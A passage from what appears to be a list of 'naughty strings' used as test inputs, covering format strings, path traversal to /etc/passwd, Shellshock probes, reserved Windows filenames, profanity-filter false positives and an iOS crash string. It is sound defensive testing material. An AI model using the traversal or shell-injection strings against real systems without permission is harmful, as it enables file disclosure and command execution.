  490. # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.
  491. $HOME
  492. $ENV{'HOME'}
  493. %d
  494. %s
  495. %*.*s
  496. # File Inclusion
  497. #
  498. # Strings which can cause user to pull in files that should not be a part of a web server
  499. ../../../../../../../../../../../etc/passwd%00
  500. ../../../../../../../../../../../etc/hosts
  501. # Known CVEs and Vulnerabilities
  502. #
  503. # Strings that test for known vulnerabilities
  504. () { 0; }; touch /tmp/blns.shellshock1.fail;
  505. () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
  506. # MSDOS/Windows Special Filenames
  507. #
  508. # Strings which are reserved characters in MSDOS/Windows
  509. CON
  510. PRN
  511. AUX
  512. CLOCK$
  513. NUL
  514. A:
  515. ZZ:
  516. COM1
  517. LPT1
  518. LPT2
  519. LPT3
  520. COM2
  521. COM3
  522. COM4
  523. # Scunthorpe Problem
  524. #
  525. # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
  526. Scunthorpe General Hospital
  527. Penistone Community Church
  528. Lightwater Country Park
  529. Jimmy Clitheroe
  530. Horniman Museum
  531. shitake mushrooms
  532. RomansInSussex.co.uk
  533. http://www.cum.qc.ca/
  534. Craig Cockburn, Software Specialist
  535. Linda Callahan
  536. Dr. Herman I. Libshitz
  537. magna cum laude
  538. Super Bowl XXX
  539. medieval erection of parapets
  540. evaluate
  541. mocha
  542. expression
  543. Arsenal canal
  544. classic
  545. Tyson Gay
  546. # Human injection
  547. #
  548. # Strings which may cause human to reinterpret worldview
  549. If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
  550. # Terminal escape codes
  551. #
  552. # Strings which punish the fools who use cat/type on this file
  553. Roses are red, violets are blue. Hope you enjoy terminal hue
  554. But now...for my greatest trick...
  555. The quick brown fox... [Beeeep]
  556. # iOS Vulnerability
  557. #
  558. # Strings which crashed iMessage in iOS versions 8.3 and earlier
  559. Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
  560. \end{document}